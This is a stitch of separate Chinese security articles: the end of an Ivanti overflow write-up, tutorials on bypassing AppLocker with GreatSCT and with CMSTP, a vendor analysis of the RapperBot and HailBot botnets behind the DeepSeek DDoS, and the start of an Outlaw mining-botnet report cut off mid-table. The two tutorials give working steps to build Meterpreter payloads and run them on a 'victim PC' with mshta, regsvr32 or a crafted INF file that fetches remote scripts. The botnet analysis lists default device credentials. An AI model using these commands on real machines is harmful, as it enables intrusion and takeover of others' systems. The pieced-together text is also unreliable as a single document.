此外,还有一处代码释放DSUtilMemPool对象内存,但是该内存被溢出覆盖了,导致程序异常退出。可将该对象内存地址设置为-1(0xFFFFFFFF),保证能正常执行到后续代码。 经过上述分析,最终的栈布局如下图所示: 经过布局,溢出后的clientCapabilities属性值数据,最终覆盖栈中返回地址,函数返回时,配合ROP技术,可执行任意代码。 参考链接 ddpoc链接: www.ddpoc.com/DVB-2025-8730.html https://github.com/BishopFox/CVE-2025-0282-checkhttps://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-dayhttps://labs.watchtowr.com/do-secure-by-design-pledges-come-with-stickers-ivanti-connect-secure-rce-cve-2025-0282/https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282 原文链接
-
GreatSct -应用程序白名单bypass工具
0x00 GreatSCT简介 GreatSCT目前得到了@ConsciousHacker的支持,该项目名为Great SCT(Great Scott)。Great SCT是一个用于生成应用程序白名单绕过的开源项目。此工具适用于红队和蓝队。它是一种用来生成Metasploit payload的工具,可绕过常见的防病毒解决方案和应用程序白名单解决方案。 您可以从这里下载:https://github.com/GreatSCT/GreatSCT 0x01 安装和使用 首先必须下载并安装它才能开始使用Great SCT。运行以下命令从github下载Great SCT,并在安装时注意其依赖工具。 这有助于通过使用以下工具绕过Applocker策略: Installutil.exe: 安装程序工具是一款命令行工具,允许您通过运行安装程序组件来安装和卸载特定程序集中的服务器资源。 Msbuild.exe: Microsoft Build Engine是一个用于构建应用程序的平台。这个引擎,也称为MSBuild。 Mshta.exe: Mshta.exe运行Microsoft HTML应用程序,Windows OS实用程序负责运行HTA(HTML应用程序)文件。我们可以运行JavaScript或Visual的HTML文件。 Regasm.exe:程序集注册工具读取程序集内的元数据,并将必要的记录添加到注册表中,从而允许COM客户端透明地创建.NET框架类。 Regsvcs.exe: RegSvcs表示Microsoft .NET远程注册表服务,它以.NET服务安装著称。 Regsvr32.exe: Regsvr32是一个命令行实用程序,用于在Windows注册表中注册和取消注册OLE控件,例如DLL和ActiveX控件。 git clone https://github.com/GreatSCT/GreatSCT.git cd GreatSCT cd setup ./setup.sh 下载后,输入以下命令以获取帮助: use Bypass 现在获取exploit列表类型: list 0x02 生成恶意的hta文件 现在,从有payload列表中,您可以选择任何目标进行所需的攻击。但对于这次攻击,我们将使用: use mshta/shellcode_inject/base64_migrate.py 执行命令后,输入以下命令: generate 执行generate命令后,它会询问您要使用哪种方法。因为我们将使用MSFvenom类型1来选择第一个选项。单击enter for meterpreter。然后分别提供lhost和lport,即192.168.1.107和4321。 在生成shellcode时,它将要求您为payload提供一个名称。默认情况下,它将以payload作为名称。因为我不想输入任何名字,所以只需按Enter键。 现在,创建了两个文件。一个资源文件和另一个hta文件。 首先,在/usr/share/greatsct output/source中通过输入以下命令启动python的服务器: python -m SimpleHTTPServer 80 现在在受害者PC的命令提示符中执行hta文件 mshta.exe http://192.168.1.107/payload.hta 使用资源文件启动multi/handler。为此,请输入以下命令: msfconsole -r /usr/share/greatsct-output/handlers/payload.rc 0x03 生成恶意sct文件 现在,从payload列表中,您可以选择任何目标进行所需的攻击。但对于这次攻击,我们将使用: use regsvr32/shellcode_inject/base64_migrate.py 执行命令后,输入以下命令: generate 然后它会询问你payload。只需按Enter键,它将把Windows/MeterPreter/Reverse_TCP作为默认payload,这就是我们需要的payload。在此之后,我们提供192.168.1.107和给定端口(any),如下图所示,我们将lport设置为2345。 在提供详细信息后,它会询问您的恶意软件名称。默认情况下,它将设置名称w为payload,以便您可以指定名称,或者只需按Enter键进行默认设置。 当你按Enter键时,它会生成两个文件。其中一个是资源文件,另一个是.sct文件。现在在/usr/share/greatsct output/source中启动python的服务器,方法是输入: python -m SimpleHTTPServer 80 现在在受害者PC的运行窗口中执行.sct文件,如下所示 regsvr32.exe /s /u /n /i:http://192.168.1.107/payload.sct 同时,使用资源文件启动multi/handler。为此,请输入以下命令: msfconsole -r /usr/share/greatsct-output/handlers/payload.rc 0x04 生成恶意dll文件 现在,从payload列表中,您可以选择任何目标进行所需的攻击。但对于这次攻击,我们将使用: use regasm/meterpreter/rev_tcp.py 执行命令后,输入以下: set lhost 192.168.1.107 generate 在提供详细信息后,它会询问您恶意软件的名称。默认情况下,它将设置名称为payload,便您可以指定名称,或者只需按Enter键进行默认设置。 当您按Enter键时,它将生成dll文件 现在输入以下命令启动/usr/share/greatsct中的python服务器: python -m SimpleHTTPServer 80 现在将上面生成的dll文件放入c:\window s\microsoft.net\framework\v4.0.30319\v4.0.30319\中,然后在受害者PC的命令窗口中执行.dll文件,如下所示: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U payload.dll 同时,使用资源文件启动multi/handler。为此,请输入以下命令: msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
-
攻击DeepSeek的相关僵尸网络样本分析
1.概览 近日,国产AI大模型DeepSeek(深度求索)线上服务受到大规模网络攻击,多次出现服务中断等情况。引发了国内安全业界的关注。根据奇安信XLab实验室监测报告,发现僵尸网络RapperBot和HailBot[1]针对DeepSeek发动了DDoS攻击。为了更有效地研判风险,支撑对相关攻击的防范,安天CERT从“赛博超脑”平台样本库中提取了上述两个僵尸网络所使用的僵尸木马样本,进行了进一步分析工作。 2.样本分析 2.1 RapperBot与HailBot的前世——Mirai RapperBot与HailBot两个僵尸网络都是僵尸网络Mirai的源码泄露的产物。Mirai僵尸网络在2016年首次被发现,迅速引发了广泛关注。其命名源自日语中的“未来”。与传统以Windows系统肉鸡为主的僵尸网络不同,Mirai感染控制网络摄像头、家用路由器和其他物联网设备,用于构建僵尸网络体系[2]。在2016年,因其引发的“DYN事件”[3]而浮出水面,Mirai的三名作者Paras Jha,Josiah White和Dalton Norman,均为美国人。三人经营了一家名为Protraf Solutions LLC的公司,对外宣称提供DDoS攻击防护,实际上则利用僵尸网络发动DDoS攻击,进行敲诈等牟利活动。三名人员在2018年,被美国阿拉斯加法院判处5年缓刑、2500小时社区服务,赔偿12.7万美元,并需自愿放弃犯罪期间获取的加密货币。 Mirai专门针对物联网(IoT)设备实施自动化渗透植入,如路由器、网络摄像头和数字视频录像机(DVR),这些设备往往在安全运营视角之外,或者为家庭设备,普遍存在未修改默认密码或采取简易密码、固件版本陈旧等问题。通过密码破解、漏洞攻击,Mirai获取设备的访问权限,并将恶意代码上传至设备中运行,将其转变为受控的僵尸节点[4]。该僵尸网络的一个突出特点是其模块化设计和自更新能力,这使得它能够迅速适应不断变化的安全环境,并增加新的攻击手段。设备被Mirai感染后会自动执行扫描探测任务,并尝试将恶意软件传播至其他设备中,进而构建起一个个庞大的僵尸网络[5]。 2016年9月30日,Mirai僵尸网络源代码在GitHub平台公开泄露。攻击者已基于源码进行定制化改造,衍生出多个变种家族,其中包括RapperBot、HailBot,攻击者改造手段包括但不限于主控域名替换(规避安全厂商封禁)、登录认证机制伪装(仿冒合法设备流量)、通信协议字段混淆(如修改上线心跳包结构以绕过检测规则)等。由于源代码的高度可复用性,全球黑产团伙得以低成本构建“同源异构”的僵尸网络集群——这些变种虽在表层功能上呈现差异,但其核心感染逻辑、C2指令体系与攻击模块均继承自Mirai原始架构,导致其背后操控组织的关联性溯源较为困难。 2.2 RapperBot僵尸网络 RapperBot是一种基于Mirai源代码二次开发的僵尸网络,具有多种版本,可在ARM、MIPS、SPARC和x86等不同架构处理器下运行。由于其早期样本中嵌有一个指向说唱视频的链接,因此被命名为“RapperBot”。 图2‑1 RapperBot早期样本中嵌有一个指向说唱视频的链接 代码中字符串“follow me on instant gram @2tallforfood, pause it. Fuck Bosco.”翻译为“在Instgram上找到我@2tallforfood,暂停,FuckBosco”而@2tallforfood 是在Youtube频道ALL URBAN CENTRAL (城市中心)的一个歌手的账户,该账户在Youtube只有2个2021年前的视频:@2TallForFood - Diamonds Is Lit (Official Video) [6](钻石闪亮)和 @2tallforfood - I Am Da Bag (Official Video) (我是一个大包)。而Fuckbosco[7]是该歌手的另外一首歌曲的名字。该歌手为小众歌手,其的视频观看人数到报告发布时点不超过500次。 Youtube频道ALL URBAN CENTRAL (城市中心)是2014年成立的美国音乐娱乐频道,主要类型有音乐Rap和Hip HOP 以及名人新闻。订阅用户大约3百万,该频道的视频大都在6分钟以内,频道总视频被浏览次数为20亿次以上。靠订阅收取费用。在美国音乐类排名4000名左右。 图2‑2 RapperBot早期样本中嵌入链接指向的视频 2.2.1 样本标签 表2‑1 RapperBot早期版本样本标签 病毒名称 Trojan/Linux.Mirai[Backdoor] MD5 9E331675D780AF4585857B1F95B40CBB 处理器架构 i386 文件大小 66.47 KB(68068字节) 文件格式 ELF 数字签名 无 加壳类型 无 VT首次上传时间 2022-06-17 08:10:19 VT检测结果 38/64 表2‑2 RapperBot新变种样本标签 病毒名称 Trojan/Linux.Mirai[Backdoor] MD5 BEC7596CFB1225900673398ABB24FFA8 处理器架构 i386 文件大小 80.47 KB(82400字节) 文件格式 ELF 数字签名 无 加壳类型 无 VT首次上传时间 2024-07-02 02:21:30 VT检测结果 37/63 说明:由于安天AVL SDK反病毒引擎有较强预处理能力,能以较少高质量规则检测变形后的衍生样本,截至本文撰写时RapperBot样本检测结果均为Mirai,特此说明。 2.2.2 传播方式 2.2.2.1 SSH暴力破解 RapperBot僵尸网络家族中的一些变种通过SSH暴力破解的方式进行传播,在早期样本中,其凭据列表被硬编码在文件中,其后的新变种变更为从C2服务器中获取凭据列表。成功暴力破解SSH服务器后,RapperBot执行Shell命令替换该服务器中的~/.ssh/authorized_keys文件,从而保持对受害服务器的远程访问。 图2‑3 硬编码在文件中的部分SSH暴力破解凭据列表 2.2.2.2 Telnet默认口令探测 部分RapperBot僵尸网络变种会通过Telnet基于设备默认口令的方式进行探测,目标设备关键词、默认用户名称以及密码被硬编码在文件中。 图2‑4 硬编码在样本文件中的Telnet用户名/口令表 从相关样本尝试暴力破解的硬编码信息可知,此类RapperBot变种的目标大多为常见的网络设备和IoT物联网设备等。 表2‑3 RapperBot内置用户探测登录的服务、用户名、口令和可能的关联设备表(表格内容基于DeepSeek整理输出,并做人工修订,特此说明) 服务/模块 用户名 密码 可能关联的服务/品牌/设备类型 tc login dnsekakf2$$ ""(空) DASAN定制网络设备 tc login dnsekakf2$$ dnsekakf2$$ DASAN 定制网络设备 tc login user 1234 DASAN 定制网络设备 tc login admin TeleCom_1234 中国电信定制设备 tc login admin TJ2100Npassword Tejas Networks TJ2100N光猫或网关 tc login admin admin 多种主流网络设备 tc login &unk_19130 1234 可能为部分摄像头等物联网 soc1 default Default 多种工业产品和软件 soc1 default password 多种工业产品和软件 TAG default password 疑似物联网设备 PXICPU default password 部分工业嵌入式控制器设备 TX25 default password 疑似某种无线设备 PK admin_404A03Tel zyad5001 ZyXEL(合勤)路由器 PK admin_404A03Tel Centurylink ZyXEL(合勤)路由器 PK admin_404A03Tel QwestM0dem ZyXEL(合勤)路由器 PK admin Centurylink ZyXEL(合勤)路由器 PK admin QwestM0dem ZyXEL(合勤)路由器 PK admin zyad5001 ZyXEL(合勤)路由器 abloom nobody ""(空) Abloom品牌物联网设备 abloom admin Abloom Abloom品牌物联网设备 abloom root Abloom Abloom品牌物联网设备 SAP nobody ""(空) SAP系统测试环境或物联网设备 SAP admin Admin SAP NetWeaver应用服务器 RG- ftp Video 网络录像机(NVR)或IP摄像头 buildroot login default Default 多种嵌入式Linux系统 mico root ""(空) 嵌入式系统 2.2.3 行为分析 RapperBot早期版本支持执行的DoS攻击方式较少,包括TCP STOMP攻击以及UDP泛洪攻击等。RapperBot新变种支持接收的指令与早期样本相似,但能够支持执行更多种类的DoS攻击。 表2‑4 早期版本及新变种指令功能对比 指令码 RapperBot早期版本功能 RapperBot新变种功能 1 保持连接状态 上线包 2 停止DoS攻击并终止运行 响应包 3 执行DoS攻击 心跳包 4 停止DoS攻击 执行DoS攻击 5 无 停止DoS攻击并终止运行 6 无 关闭C2连接 当攻击者进行DoS攻击时,通过选择预先设定的序号执行对应的功能函数,从而执行具体的DoS攻击。由此可以看出,RapperBot相关样本支持接收的指令功能以发起DoS攻击为主,并且从其早期至今的发展过程中,其开发者对RapperBot的DoS攻击功能进行了逐步完善,从而支持完成大范围的DDoS攻击活动。 表2‑5 RapperBot新变种支持多种DoS攻击 攻击指令 DoS攻击类型 攻击说明介绍 0 UDP泛洪攻击 通过发送大量UDP数据包消耗受害者网络带宽。 1 UDP数据包伪造 攻击者向目标服务器发送大量伪造的UDP数据包,欺骗服务器进行响应,消耗受害者网络带宽。 2 GRE-IP泛洪攻击 通过大量封装有IP网络数据包的GRE协议数据消耗受害者网络带宽。 3 GRE-Eth泛洪攻击 通过大量封装有Eth网络数据包的GRE协议数据消耗受害者网络带宽。 4 SYN泛洪攻击 通过发送大量SYN数据包,使服务器创建具有大量处于半连接状态的请求,消耗系统内存和CPU资源。 5 ACK泛洪攻击 通过发送具有随机源端口、目的端口及数据等信息的ACK数据包消耗受害者网络带宽。 6 ACK-PSH泛洪攻击 通过带有PSH标记的ACK响应与服务器建立连接,发送大量请求消耗受害者的网络带宽。 7 TCP泛洪攻击 通过发送大量TCP数据包消耗受害者网络带宽。 8 HTTP泛洪攻击 攻击者向目标服务器发送大量的HTTP报文,消耗受害者网络带宽和服务器资源。 2.3 HailBot僵尸网络 HailBot是一种基于Mirai源代码二次开发的僵尸网络,可在ARM、x86、x64、MIPS等不同架构处理器下运行。由于其运行时向控制台输出“hail china mainland”,故命名为HailBot僵尸网络。 2.3.1 样本标签 表2‑6 HailBot早期版本样本标签 病毒名称 Trojan/Linux.Mirai[Backdoor] MD5 C4526600A90D4E1EC581D1D905AA6593 处理器架构 x64 文件大小 68.6 KB (70,295 字节) 文件格式 BinExecute/Linux.ELF[:X64] 数字签名 无 加壳类型 无 VT首次上传时间 2024-02-23 06:43:16 VT检测结果 41/66 表2‑7 HailBot新变种样本标签 病毒名称 Trojan/Linux.Mirai[Backdoor] MD5 2DFE4015D6269311DB6073085FD73D1B 处理器架构 ARM 文件大小 74.7 KB (76,572 字节) 文件格式 BinExecute/Linux.ELF[:ARM] 数字签名 无 加壳类型 无 VT首次上传时间 2024-09-23 18:35:26 VT检测结果 42/63 说明:由于安天AVL SDK反病毒引擎有较强预处理能力,能以较少高质量规则检测变形后的衍生样本,截至本文撰写时HailBot样本检测结果均为Mirai,特此说明。 2.3.2 行为分析 HailBot在运行时会向控制台输出“hail china mainland”,显然带有栽赃陷害的中国,掩盖自身来源的目的其表述方式也明显不符合中文语言逻辑。 图2‑5 HailBot向控制台输出特定字符串 Mirai系列僵尸程序上线时会发送上线数据包给C2服务器,Mirai 原有的上线数据包为四个字节,内容为|00 00 00 01|,HailBot将其修改为八个字节|31 73 13 93 04 83 32 01|,使C2服务器能识别其流量来自 HailBot,同时也规避了被安全扫描机制用原有上线包探测发现。 图2‑6 HailBot连接到C2时会先发送八个特定的字节 HailBot利用漏洞进行传播。其中长期使用的包括CVE-2017-17215漏洞,该漏洞存在于特定版本路由器的UPnP(通用即插即用)服务中,攻击者可以通过发送特制的HTTP请求来利用此漏洞,从而在设备上执行任意代码。 图2‑7 HailBot漏洞利用部分载荷 HailBot的早期版本具有3种TCP攻击方式和1种UDP攻击方式,最新版本则升级到5种TCP攻击方式和3种UDP攻击方式。从而让攻击者有了更多的攻击方式选择和组合的空间,带来更大的威胁。 表2‑8 旧版本HailBot指令 指令号 功能 影响 0 TCP泛洪攻击 通过创建连接发送大量500至900字节的TCP请求消耗受害者网络带宽。 1 UDP泛洪攻击 通过大量的UDP请求消耗受害者网络带宽。 2 GRE IP泛洪攻击 通过大量封装有IP网络数据包的GRE协议数据消耗受害者网络带宽。 3 SYN泛洪攻击 通过发送大量SYN数据包,使服务器创建具有大量处于半连接状态的请求,消耗系统内存和CPU资源。 表2‑9 新版本HailBot指令 指令号 功能 影响 0 TCP泛洪攻击 创建连接发送大量500至900字节的TCP请求消耗受害者网络带宽。 1 SSDP泛洪攻击 利用简单服务发现协议(SSDP)发送大量“发现消息”请求使受害者进行响应,消耗受害者内存和CPU资源。 2 GRE IP泛洪攻击 发送大量封装有IP网络数据包的GRE协议数据消耗受害者网络带宽。 3 SYN泛洪攻击 发送大量SYN数据包,使服务器创建具有大量处于半连接状态的请求,消耗系统内存和CPU资源。 4 UDP泛洪攻击(512字节) 发送大量512字节的UDP请求消耗受害者网络带宽。 5 UDP泛洪攻击(1024字节) 发送大量1024字节的UDP请求消耗受害者网络带宽。 6 TCP STOMP泛洪攻击 发送创建连接发送大量768字节数据消耗受害者网络带宽。 7 TCP ACK泛洪攻击 发送具有随机源端口、目的端口及数据等信息的ACK数据包消耗受害者网络带宽。 除此之外,HailBot也在加密方面有所变化。在早期的版本中,HailBot使用简单的异或算法对C2地址、攻击载荷等字符串进行加密,其中异或用的字节为常量并硬编码在程序中。 图2‑8 早期版本HailBot加密算法 在后续的版本中,HailBot转用chacha20流密码加密算法对字符串进行加密,增加了字符串加密的强度,减少了字符串的静态特征,使其更加难以被检测分析。 图2‑9 HailBot中chacha20轮操作代码 3.总结 综合样本分析,HailBot与RapperBot的攻击模式主要依赖其控制的海量僵尸节点(肉鸡集群),通过高频发送伪造请求数据包,持续消耗目标主机的带宽资源、TCP连接池容量及连接处理所需的CPU算力。这种攻击方式虽属于传统DDoS(分布式拒绝服务)范畴,但至今仍是互联网基础设施的核心威胁之一。其根本矛盾在于:防御方的资源天然存在上限(如计算性能、网络吞吐量),而攻击方可通过自动化扫描、恶意代码注入等手段,以近乎零边际成本持续扩张僵尸网络规模,形成攻防双方的资源不对称性。 DeepSeek在全球爆火后,其在短时间内经历用户量、API调用量及并发请求的指数级增长,导致底层基础设施始终处于高负载临界状态。在此背景下,叠加大规模DDoS攻击(如通过僵尸网络发起海量文本生成请求),直接引发服务响应延迟激增、API限流熔断甚至集群过载宕机,严重影响了用户体验与业务连续性。 对互联网资源服务提供者来说,防范DDoS攻击的方法是相对成熟的,需要将资源投入和常态化的安全运营深入结合,需要服务方、基础设施提供者和监管机构进行多方配合协同。即包括部署更具弹性的分布式、多区域、多链路的服务架构、使用负载均衡器设备和策略、增强带宽和硬件设施,提升系统吞吐能力等;也包括完善安全监测、流量清洗、进行相关安全策略动态调整等。 对政企机构的安全运营来说,要加强防护,避免设备成为僵尸网络的肉鸡,也同时为遏制僵尸网络扩散做出了贡献。及时发现处置感染节点是非常重要的工作,从本文分析来看,终端和IoT设备的基础安全治理是关键,包括默认密码的修改、管控网络设备和IoT设备管理端口的访问策略、及时进行固件补丁升级等,而端云侧需要部署具有有效防护能力的杀毒、EDR、CWPP等安全产品,构建系统的安全基石。 对监管机构来说,DDoS治理涉及大量的资源联动,特别是国际治理协同,其治理难度会进一步增加。需要完善更强有力的国家安全和公共安全层面的技术资源和体系能力。 在改善基础防护、安全治理工作的同时,我们需要进一步关注研究新技术的风险演化。新技术的发展始终与安全威胁的动态演化有三种绑定方式:带来新威胁、推动传统威胁升级、自身成为攻击目标。生成式人工智能和大模型技术也不例外,其推动了传统攻击技术的自动化水平提升、带来了深度伪造等攻击技术的迅速成熟、自身也成为高价值目标。 人工智能服务场景与传统Web服务(如CGI动态页面或搜索引擎)相比,生成式AI的单次交互算力消耗显著更高,且开放的API接口极易被攻击者滥用为算力资源黑洞。大模型平台的业务特性与风险场景呈现显著特殊性,从而让我们需要进一步警惕算力资源攻击风险。为支撑高并发推理请求与长上下文交互,平台需部署大规模GPU集群及实时调度系统。攻击者可针对此类算力密集型、低延迟敏感的特性,设计低流量高杀伤力的精准攻击链,例如:恶意构造模型参数查询(如触发高维张量计算),单次请求即可消耗数倍于常规任务的GPU资源;上下文注入攻击,通过植入特定提示词(prompt)迫使模型执行递归解析,引发CPU/内存资源枯竭。此类攻击的成本效益比远超传统DDoS(无需海量僵尸节点即可瘫痪服务),且更易绕过基于流量阈值的防护策略。 与此同时,我们还需要进一步关注大数据平台的数据安全风险:由于大模型训练与推理过程中涉及的多租户数据交织存储、微调参数残留等问题,可能引发敏感信息泄露(如用户隐私数据通过模型输出侧信道泄露)。在数据标柱的过程中,夹带恶意代码的文件未经清洗,可能引发标注工程师工作环境和数据平台的病毒感染传播、系统性能损耗、乃至数据被勒索失窃等风险。需要考虑加强待标注语料文件数据的病毒清洗、增强东西向的细粒度隔离控制能力和安全检测防护能力,进而增强大模型平台的威胁对抗能力。 因此,大模型平台的安全建设需实现双轨并进:一方面完善基础架构安全:在云主机、容器集群、API等层面强化防御、监测、资源隔离等机制,即有效防御渗透入侵风险,也辅以弹性扩缩容及实时熔断机制,抵御资源耗尽型攻击;另一方面需要从架构、设计、业务逻辑和编码优化层面改善安全能力,包括但不限于:通过提示词注入检测、推理过程沙箱化、数据血缘追踪等技术,在模型交互层构建纵深防御体系。将安全能力深度嵌入技术架构与业务流之中。 而历史证明,应对新技术风险的安全增益,往往来自新技术本身,从历史上看,互联网全面提升了攻击可达性成为大规模攻击事件的温床;但也同样提升了安全运营的敏捷性。云计算平台引入了整体倾覆式风险,但也带来了更大的资源弹性和统一高效的安全治理。人工智能技术也在快速改变着网络安全能力和样貌。安天自身也是网络安全业内积极拥抱大模型技术的实践者,我们的澜砥威胁分析垂直大模型[8],聚焦二进制样本分析特征工程场景,突破了token上下文限制,并已经能够在CPU场景下运行。安天计算机病毒分类百科,也是我们借助自身特征工程和知识体系的自动化运营结果。在我们所不擅长的领域,我们同时采取了积极拥抱优秀国产大模型的策略,本报告的编写我们就使用了DeepSeek作为辅助。 从《黑神话:悟空》上线,到DeepSeek 爆火,中国的信息技术正在不断缔造新的传奇。与此同时,也伴随着网络攻击接踵而至。而战胜这些风险,正是验证了新生事物的不可战胜和远大前途。安天作为长期为网信产业体系提供共性安全能力的民企国家队,愿意为战略新兴产业提供更多的共性安全基因,为伟大的新生事物护航。 4.IOC MD5 71B4C3FE502E6C6D5EF5E420D52D2729 C4526600A90D4E1EC581D1D905AA6593 6C6D1CCCE5946F0AA68F9E0C438C1E21 B1E0B2C046D4CB7F0A0DD87054A17AC4 6B8A9D6335D056E20DCD794B265074E3 AB2C4A13D1FE946003FFCB7DDEC064D0 9E331675D780AF4585857B1F95B40CBB EFA786F2B6F0F267F717145FAF48A95B EF9EBF4D5A1A44D0DB92DE06D3DCE7A1 BEC7596CFB1225900673398ABB24FFA8 参考链接 [1]奇安信.僵尸网络进场,针对DeepSeek 网络攻击再升级[R/OL].(2025-01-30) https://mp.weixin.qq.com/s/NM-zCyA4m5WJeAjPwUmYYg [2]ANTONAKAKIS M, APRIL T, BAILEY M, 等. Understanding the Mirai Botnet[R/OL]. (2017-08-16) https://www.usenix.org/conference/usenixsecurity17/technical-sessions/presentation/antonakakis [3]维基百科. DDoS attacks on Dyn[R/OL] .(2016) https://en.wikipedia.org/wiki/DDoS_attacks_on_Dyn [4]安天. 计算机病毒百科Mirai对应词条[R/OL] .(2016) https://www.virusview.net/malware/Trojan/Linux/Mirai [5]安天. 安天追影小组分析Mirai变种新传播方式[R/OL].(2016-12-19) https://www.antiy.cn/research/notice&report/research_report/608.html [6]Diamonds Is Lit (Official Video) https://www.youtube.com/watch?v=fPu9hTClNWQ [7]Fuckbosco https://soundcloud.com/xxdannyflandersxx/fuckbosco2-a-danny-flanders-special-release [8]安天. 2024年人工智能技术赋能网络安全应用测试:安天垂直大模型在恶意软件检测场景初露锋芒[R/OL].(2024-09-23) https://www.antiy.cn/About/news/20240923.html
-
使用cmstp绕过应用程序白名单
默认情况下,AppLocker允许在文件夹中执行二进制文件,这是可以绕过它的主要原因。已经发现,这样的二进制文件可以很容易地用于绕过AppLocker和UAC。与Microsoft相关的二进制文件之一是CMSTP。CMSTP welcomes INF文件,因此通过INF进行开发是可能的。因此,我们将学习如何进行此类开发。 众所周知,CMSTP接受SCT文件,然后无提示地运行,因此我们将创建一个恶意的SCT文件以实现我们的目标。为此,我们将使用Empire PowerShell。有关Empire PowerShell的详细指南,请单击此处。 从Kali终端启动Empire框架,然后输入以下命令以创建恶意软件: listeners uselistener http set Host 192.168.1.109 execute 上面的命令将为您创建一个侦听器,然后键入back以从侦听器接口返回,并且创建SCT文件类型: usestager windows/launcher_sct set Listener HTTP execute 运行上述漏洞将创建SCT文件。我们将使用以下脚本在PowerShell中执行文件。在此脚本中,给出SCT文件的路径,并添加以下代码,如图所示: 从这里下载此脚本: ;cmstp.exe /s cmstp.inf [version] Signature=$chicago$ AdvancedINF=2.5 [DefaultInstall_SingleUser] UnRegisterOCXs=UnRegisterOCXSection [UnRegisterOCXSection] %11%\scrobj.dll,NI,https://gist.githubusercontent.com/NickTyrer/0604bb9d7bcfef9e0cf82c28a7b76f0f/raw/676451571c203303a95b95fcb29c8b7deb8a66e0/powersct.sct [Strings] AppAct = "SOFTWARE\Microsoft\Connection Manager" ServiceName="Yay" ShortSvcName="Yay" 现在,将文件发送到受害者的PC,并在受害者的命令提示符下运行以下命令: cmstp.exe /s shell.inf 一旦运行该命令,您将获得一个meterprer会话。使用以下命令访问会话: interact <session name> 这样,您可以使用CMSTP二进制文件来绕过applocker限制。CMSTP需要一个INF文件,并且利用它可以帮助您访问受害者的PC。
-
Outlaw挖矿僵尸网络近期活动分析
1 概述 近期,安天CERT监测到多起Outlaw挖矿僵尸网络攻击事件,该挖矿僵尸网络最早于2018年被发现,主要针对云服务器从事挖矿活动,持续活跃。安天CERT在分析近期的攻击事件中发现,该挖矿僵尸网络样本在第三版本基础上有了重要更新,其功能更加多样、隐匿性更高、清除更加困难。主要传播途径和功能依旧是SSH暴力破解攻击目标系统,植入SSH公钥,以达到长期控制目标系统的目的,同时下载执行基于Perl脚本语言编写的后门和开源门罗币挖矿木马,使用扫描和暴力破解工具对其他主机进行相应攻击。 经验证,安天智甲终端防御系统可有效防御、查杀该挖矿木马。 2 攻击流程 Outlaw挖矿僵尸网络首先会通过扫描SSH服务对目的主机进行暴力破解,获取权限后下载最终载荷文件dota3.tar.gz,然后不落地执行tddwrt7s.sh脚本中的指令,初始化脚本,将载荷放到/tmp目录下,解压缩载荷文件,并执行载荷文件中的第一个Perl脚本initall,该脚本最终会执行载荷文件中的第二个Perl脚本init2,会在cron.d文件中写入计划任务,依次执行a、b、c文件夹中的a、a、start脚本。 一、a文件夹: 1.a文件的主要作用是检测与清除RedTail挖矿僵尸网络相关的恶意行为,执行run文件。 2. run文件用于启动并管理名为kswapd00的挖矿程序以及stop脚本。 3.stop文件的主要功能是执行init0文件以及清理目标系统中的指定文件和进程。 4.init0文件用于全面排查并清理与挖矿相关的活动。 二、b文件夹: 1.a文件的主要功能是执行stop和run文件。 2.stop文件主要是终止并删除预设置的特定进程。 3.run文件是一个ShellBot的Perl脚本,主要功能为端口扫描、DDoS攻击、反向Shell和发回状态消息等。 三、c文件夹: 1.start文件会执行run文件。 2.run文件的主要功能是根据系统的CPU物理核心数和架构来决定运行top和stop文件。 3. stop文件主要功能是批量终止与特定挖矿进程或系统监控进程等相关的任务。 4.top文件首先会获取受害机器的系统架构,根据系统架构调整默认线程数,随后执行kthreadadd脚本并传递参数。 5.kthreadadd文件针对不同系统架构提供对应的可执行文件。 6.kthreadadd32/kthreadadd64文件是针对不同架构扫描和暴力破解工具,对扫描出来的IP地址进行针对性的22端口暴力破解。 图 2‑1 Outlaw挖矿僵尸网络攻击流程图 3 样本梳理与功能分析 3.1 样本梳理 针对Outlaw挖矿僵尸网络攻击,对其样本及功能进行梳理,如下表所示: 表 3‑1 样本及功能梳理 样本名 落地名 样本路径 功能 tddwrt7s.sh 不落地 内存中 解压缩落地载荷并执行初始脚本initall initall initall /tmp/.X2pP-unix/.rsync/initall 执行init2脚本 init/init2 init/init2 /tmp/.X2pP-unix/.rsync/ 将计划任务写入cron.d文件中,并依次执行每个文件夹下的初始脚本 a文件夹/a a /tmp/.X2pP-unix/.rsync/a/a /home/用户名/.configrc7/a/a 检测与清除RedTail挖矿僵尸网络相关的恶意行为 a文件夹/run run /tmp/.X2pP-unix/.rsync/a/run /home/用户名/.configrc7/a/run 启动挖矿程序kswapd00 upd upd /home/用户名/.configrc7/a/upd 挖矿程序守护脚本 a文件夹/stop stop /tmp/.X2pP-unix/.rsync/a/stop /home/用户名/.configrc7/a/stop 清理目标系统中的指定文件和进程 a文件夹/init0 init0 /tmp/.X2pP-unix/.rsync/a/init0 /home/用户名/.configrc7/a/init0 检测并终止与加密货币挖矿相关的活动 a文件夹/kswapd00 kauditd0 /tmp/.X2pP-unix/.rsync/a/kswapd00 /tmp/.kswapd00 /var/tmp/.kswapd00 /home/用户名/.configrc7/a/kswapd00 挖矿程序挖矿 b文件夹/a a /tmp/.X2pP-unix/.rsync/b/a /home/用户名/.configrc7/b/a 执行stop文件 sync sync /home/用户名/.configrc7/b/sync 执行run文件 b文件夹/stop stop /tmp/.X2pP-unix/.rsync/b/stop /home/用户名/.configrc7/b/stop 终止一系列特定的进程,并且删除特定的文件 b文件夹/run edac0 /tmp/.X2pP-unix/.rsync/b/run /home/用户名/.configrc7/b/run Stealth Shellbot改编脚本 c文件夹/start start /tmp/.X2pP-unix/.rsync/c/ 创建一个名为aptitude的Shell脚本 aptitude aptitude /tmp/.X2pP-unix/.rsync/c/aptitude 执行run脚本 c文件夹/run run /tmp/.X2pP-unix/.rsync/c/run 判断系统架构 c文件夹/stop stop /tmp/.X2pP-unix/.rsync/c/stop 结束竞品相关的任务 c文件夹/top top /tmp/.X2pP-unix/.rsync/c/top 获取系统架构 c文件夹/kthreadadd kthreadadd /tmp/.X2pP-unix/.rsync/c/kthreadadd 判断系统架构 c文件夹/kthreadadd32和64 kauditd0 /tmp/.X2pP-unix/.rsync/c/kthreadadd32和64 扫描和暴力破解其他地址 表 3‑2 挖矿程序中的矿池地址和钱包地址 矿池地址 钱包地址 88.218.17.122:80 